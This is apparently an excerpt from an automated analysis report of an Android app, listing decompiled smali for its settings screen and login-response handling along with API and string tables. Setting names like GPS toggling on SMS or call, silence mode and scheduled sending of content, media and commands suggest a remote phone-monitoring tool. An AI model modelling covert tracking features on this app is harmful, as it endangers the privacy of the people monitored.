                    154invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    156iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->m:Landroid/widget/CheckBox;
                    158iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    160const-string v2, "toggle_gps_on_sms"
                    162invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    163move-result v1
                    165invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    167iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->n:Landroid/widget/CheckBox;
                    168new-instance v1, Lnet/vkurhandler/ft;
                    170const-string v2, "toggle_gps_on_call"
                    172invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    174invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    176iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->n:Landroid/widget/CheckBox;
                    178iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    180const-string v2, "toggle_gps_on_call"
                    182invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    183move-result v1
                    185invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    187iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->f:Landroid/widget/CheckBox;
                    188new-instance v1, Lnet/vkurhandler/ft;
                    190const-string v2, "send_media_only_wifi"
                    192invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    194invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    196iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->f:Landroid/widget/CheckBox;
                    198iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    200const-string v2, "send_media_only_wifi"
                    202invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    203move-result v1
                    205invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    207iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->k:Landroid/widget/CheckBox;
                    208new-instance v1, Lnet/vkurhandler/ft;
                    210const-string v2, "run_no_pwd"
                    212invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    214invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    216iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->k:Landroid/widget/CheckBox;
                    218iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    220const-string v2, "run_no_pwd"
                    222invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    223move-result v1
                    225invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    227iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->l:Landroid/widget/CheckBox;
                    228new-instance v1, Lnet/vkurhandler/ft;
                    230const-string v2, "silence_mode"
                    232invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    234invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    236iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->l:Landroid/widget/CheckBox;
                    238iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    240const-string v2, "silence_mode"
                    242invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    243move-result v1
                    245invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    246const v0, 0x7f0a00dd
                    248invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsExpertActivity;->findViewById(I)Landroid/view/View;
                    249move-result-object v0
                    250check-cast v0, Landroid/widget/TimePicker;
                    251iput-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->o:Landroid/widget/TimePicker;
                    253iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->o:Landroid/widget/TimePicker;
                    255invoke-static {v6}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    256move-result-object v1
                    258invoke-virtual {v0, v1}, Landroid/widget/TimePicker;->setIs24HourView(Ljava/lang/Boolean;)V
                    260iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    262const-string v1, "dispatch_schedule_time_send"
                    264const-string v2, "03:00"
                    266invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    267move-result-object v0
                    269const-string v1, ":"
                    271invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    272move-result-object v0
                    274iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->o:Landroid/widget/TimePicker;
                    275aget-object v2, v0, v4
                    276const/4 v3, 0x3
                    278invoke-static {v2, v3}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    279move-result v2
                    281invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    282move-result-object v2
                    284invoke-virtual {v1, v2}, Landroid/widget/TimePicker;->setCurrentHour(Ljava/lang/Integer;)V
                    286iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->o:Landroid/widget/TimePicker;
                    287aget-object v0, v0, v6
                    289invoke-static {v0, v4}, Lnet/vkurhandler/gn;->b(Ljava/lang/String;I)I
                    290move-result v0
                    292invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    293move-result-object v0
                    295invoke-virtual {v1, v0}, Landroid/widget/TimePicker;->setCurrentMinute(Ljava/lang/Integer;)V
                    297iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->h:Landroid/widget/CheckBox;
                    298new-instance v1, Lnet/vkurhandler/ft;
                    300const-string v2, "dispatch_schedule_send_content"
                    302invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    304invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    306iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->h:Landroid/widget/CheckBox;
                    308iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    310const-string v2, "dispatch_schedule_send_content"
                    312invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    313move-result v1
                    315invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    317iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->i:Landroid/widget/CheckBox;
                    318new-instance v1, Lnet/vkurhandler/ft;
                    320const-string v2, "dispatch_schedule_send_media"
                    322invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    324invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    326iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->i:Landroid/widget/CheckBox;
                    328iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    330const-string v2, "dispatch_schedule_send_media"
                    332invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    333move-result v1
                    335invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    337iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->j:Landroid/widget/CheckBox;
                    338new-instance v1, Lnet/vkurhandler/ft;
                    340const-string v2, "dispatch_schedule_send_command"
                    342invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/ft;-><init>(Lnet/vkurhandler/SettingsExpertActivity;Ljava/lang/String;Lnet/vkurhandler/ft;)V
                    344invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    346iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->j:Landroid/widget/CheckBox;
                    348iget-object v1, p0, Lnet/vkurhandler/SettingsExpertActivity;->b:Landroid/content/SharedPreferences;
                    350const-string v2, "dispatch_schedule_send_command"
                    352invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    353move-result v1
                    355invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    357iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->i:Landroid/widget/CheckBox;
                    359invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    360move-result v0
                    361if-nez v0, :cond_208
                    363iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->h:Landroid/widget/CheckBox;
                    365invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    366move-result v0
                    367if-nez v0, :cond_208
                    369iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->j:Landroid/widget/CheckBox;
                    371invoke-virtual {v0}, Landroid/widget/CheckBox;->isChecked()Z
                    372move-result v0
                    373if-nez v0, :cond_208
                    375iget-object v0, p0, Lnet/vkurhandler/SettingsExpertActivity;->o:Landroid/widget/TimePicker;
                    377invoke-virtual {v0, v4}, Landroid/widget/TimePicker;->setEnabled(Z)V
                    378cond_208: return-void
                    APIs
                    • net.vkurhandler.MainActivity.c
                    • net.vkurhandler.MainActivity.c
                    • android.app.ProgressDialog.isShowing
                    • net.vkurhandler.MainActivity.c
                    • android.app.ProgressDialog.dismiss
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • net.vkurhandler.MainActivity.setContentView
                    • net.vkurhandler.MainActivity.d
                    • net.vkurhandler.MainActivity.a
                    • net.vkurhandler.MainActivity.e
                    • net.vkurhandler.MainActivity.a
                    • android.content.SharedPreferences.getInt
                    • android.widget.Spinner.setSelection
                    • java.lang.String.equals
                    • net.vkurhandler.MainActivity.a
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • android.content.Intent.<init>
                    • net.vkurhandler.MainActivity.startActivity
                    • net.vkurhandler.MainActivity.finish
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • net.vkurhandler.MainActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.MainActivity.finish
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • android.content.Intent.<init>
                    • net.vkurhandler.MainActivity.startActivity
                    • java.lang.String.equals
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • net.vkurhandler.MainActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.MainActivity.finish
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • net.vkurhandler.MainActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.MainActivity.finish
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • net.vkurhandler.MainActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.MainActivity.finish
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • net.vkurhandler.MainActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.MainActivity.finish
                    • org.json.JSONObject.getString
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • net.vkurhandler.MainActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.MainActivity.finish
                    Strings
                    • response
                    • success
                    • data
                    • ok_no_account
                    • language
                    • ok_has_account
                    • run_no_pwd
                    • MainActivity
                    • device_blocked
                    • unknown success:
                    • incorrect_device_id
                    • error
                    • is_not_your_app
                    • error:
                    Position Instruction Meta Information
                    0const/4 v5, 0x1
                    2iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    4invoke-static {v0}, Lnet/vkurhandler/MainActivity;->c(Lnet/vkurhandler/MainActivity;)Landroid/app/ProgressDialog;
                    5move-result-object v0
                    6if-eqz v0, :cond_1e
                    8iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    10invoke-static {v0}, Lnet/vkurhandler/MainActivity;->c(Lnet/vkurhandler/MainActivity;)Landroid/app/ProgressDialog;
                    11move-result-object v0
                    13invoke-virtual {v0}, Landroid/app/ProgressDialog;->isShowing()Z
                    14move-result v0
                    15if-eqz v0, :cond_1e
                    17iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    19invoke-static {v0}, Lnet/vkurhandler/MainActivity;->c(Lnet/vkurhandler/MainActivity;)Landroid/app/ProgressDialog;
                    20move-result-object v0
                    22invoke-virtual {v0}, Landroid/app/ProgressDialog;->dismiss()V
                    23cond_1e: new-instance v0, Ljava/lang/String;
                    25invoke-direct {v0, p3}, Ljava/lang/String;-><init>([B)V
                    26new-instance v1, Lorg/json/JSONObject;
                    28invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    30const-string v2, "response"
                    32invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    33move-result-object v1
                    35const-string v2, "success"
                    37invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    38move-result v2
                    39if-eqz v2, :cond_12c
                    41const-string v2, "data"
                    43invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    44move-result-object v1
                    46const-string v2, "ok_no_account"
                    48invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    49move-result v2
                    50if-eqz v2, :cond_6e
                    52iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    53const v1, 0x7f03000b
                    55invoke-virtual {v0, v1}, Lnet/vkurhandler/MainActivity;->setContentView(I)V
                    57iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    59invoke-static {v0}, Lnet/vkurhandler/MainActivity;->d(Lnet/vkurhandler/MainActivity;)V
                    61iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    62const/4 v1, 0x1
                    64invoke-virtual {v0, v1}, Lnet/vkurhandler/MainActivity;->a(I)V
                    66iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    68invoke-static {v0}, Lnet/vkurhandler/MainActivity;->e(Lnet/vkurhandler/MainActivity;)Landroid/widget/Spinner;
                    69move-result-object v0
                    71iget-object v1, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    73invoke-static {v1}, Lnet/vkurhandler/MainActivity;->a(Lnet/vkurhandler/MainActivity;)Landroid/content/SharedPreferences;
                    74move-result-object v1
                    76const-string v2, "language"
                    77const/4 v3, 0x1
                    79invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    80move-result v1
                    82invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    83goto_6d: return-void
                    84cond_6e:
                    85const-string v2, "ok_has_account"
                    87invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    88move-result v2
                    89if-eqz v2, :cond_d2
                    91iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    93invoke-static {v0}, Lnet/vkurhandler/MainActivity;->a(Lnet/vkurhandler/MainActivity;)Landroid/content/SharedPreferences;
                    94move-result-object v0
                    96const-string v1, "run_no_pwd"
                    97const/4 v2, 0x0
                    99invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    100move-result v0
                    101if-eqz v0, :cond_bf
                    103iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    104new-instance v1, Landroid/content/Intent;
                    106iget-object v2, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    108invoke-virtual {v2}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    109move-result-object v2
                    110const-class v3, Lnet/vkurhandler/SettingsActivity;
                    112invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    114invoke-virtual {v0, v1}, Lnet/vkurhandler/MainActivity;->startActivity(Landroid/content/Intent;)V
                    115goto_97:
                    116iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    118invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->finish()V
                    119try_end_9c: goto/16 :goto_6d
                    120catch_9d: move-exception v0
                    122const-string v1, "MainActivity"
                    124invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    126iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    128invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    129move-result-object v0
                    131iget-object v1, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    132const v2, 0x7f06000f
                    134invoke-virtual {v1, v2}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    135move-result-object v1
                    137invoke-static {v0, v1, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    138move-result-object v0
                    140invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    142iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    144invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->finish()V
                    145goto/16 :goto_6d
                    146cond_bf:
                    147iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    148new-instance v1, Landroid/content/Intent;
                    150iget-object v2, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    152invoke-virtual {v2}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    153move-result-object v2
                    154const-class v3, Lnet/vkurhandler/EnterActivity;
                    156invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    158invoke-virtual {v0, v1}, Lnet/vkurhandler/MainActivity;->startActivity(Landroid/content/Intent;)V
                    159goto/16 :goto_97
                    160cond_d2:
                    161const-string v2, "device_blocked"
                    163invoke-virtual {v2, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    164move-result v1
                    165if-eqz v1, :cond_f8
                    167iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    169invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    170move-result-object v0
                    172iget-object v1, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    173const v2, 0x7f0600be
                    175invoke-virtual {v1, v2}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    176move-result-object v1
                    177const/4 v2, 0x1
                    179invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    180move-result-object v0
                    182invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    184iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    186invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->finish()V
                    187goto/16 :goto_6d
                    188cond_f8:
                    189invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    190move-result v1
                    191if-eqz v1, :cond_10e
                    193const-string v1, "MainActivity"
                    194const/4 v2, 0x2
                    195new-array v2, v2, [Ljava/lang/String;
                    196const/4 v3, 0x0
                    198const-string v4, "unknown success:"
                    199aput-object v4, v2, v3
                    200const/4 v3, 0x1
                    201aput-object v0, v2, v3
                    203invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    204cond_10e:
                    205iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    207invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    208move-result-object v0
                    210iget-object v1, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    211const v2, 0x7f060011
                    213invoke-virtual {v1, v2}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    214move-result-object v1
                    215const/4 v2, 0x1
                    217invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    218move-result-object v0
                    220invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    222iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    224invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->finish()V
                    225goto/16 :goto_6d
                    226cond_12c:
                    227const-string v0, "incorrect_device_id"
                    229const-string v2, "error"
                    231invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    232move-result-object v2
                    234invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    235move-result v0
                    236if-eqz v0, :cond_158
                    238iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    240invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    241move-result-object v0
                    243iget-object v1, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    244const v2, 0x7f060012
                    246invoke-virtual {v1, v2}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    247move-result-object v1
                    248const/4 v2, 0x1
                    250invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    251move-result-object v0
                    253invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    255iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    257invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->finish()V
                    258goto/16 :goto_6d
                    259cond_158:
                    260const-string v0, "is_not_your_app"
                    262const-string v2, "error"
                    264invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    265move-result-object v2
                    267invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    268move-result v0
                    269if-eqz v0, :cond_184
                    271iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    273invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    274move-result-object v0
                    276iget-object v1, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    277const v2, 0x7f060013
                    279invoke-virtual {v1, v2}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    280move-result-object v1
                    281const/4 v2, 0x1
                    283invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    284move-result-object v0
                    286invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    288iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    290invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->finish()V
                    291goto/16 :goto_6d
                    292cond_184:
                    293invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    294move-result v0
                    295if-eqz v0, :cond_1a0
                    297const-string v0, "MainActivity"
                    298const/4 v2, 0x2
                    299new-array v2, v2, [Ljava/lang/String;
                    300const/4 v3, 0x0
                    302const-string v4, "error:"
                    303aput-object v4, v2, v3
                    304const/4 v3, 0x1
                    306const-string v4, "error"
                    308invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    309move-result-object v1
                    310aput-object v1, v2, v3
                    312invoke-static {v0, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    313cond_1a0:
                    314iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    316invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    317move-result-object v0
                    319iget-object v1, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    320const v2, 0x7f060011
                    322invoke-virtual {v1, v2}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    323move-result-object v1
                    324const/4 v2, 0x1
                    326invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    327move-result-object v0
                    329invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    331iget-object v0, p0, Lnet/vkurhandler/bt;->a:Lnet/vkurhandler/MainActivity;
                    333invoke-virtual {v0}, Lnet/vkurhandler/MainActivity;->finish()V
                    334try_end_1bc: goto/16 :goto_6d
                    APIs
                    • net.vkurhandler.AddDeviceActivity.a
                    • net.vkurhandler.AddDeviceActivity.a
                    • android.app.ProgressDialog.isShowing
                    • net.vkurhandler.AddDeviceActivity.a
                    • android.app.ProgressDialog.dismiss
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getInt
                    • net.vkurhandler.AddDeviceActivity.b
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • android.content.Intent.<init>
                    • net.vkurhandler.AddDeviceActivity.startActivity
                    • net.vkurhandler.AddDeviceActivity.finish
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • java.lang.String.equals
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • java.lang.String.equals
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • java.lang.String.equals
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • java.lang.String.equals
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.AddDeviceActivity.getApplicationContext
                    • net.vkurhandler.AddDeviceActivity.getString
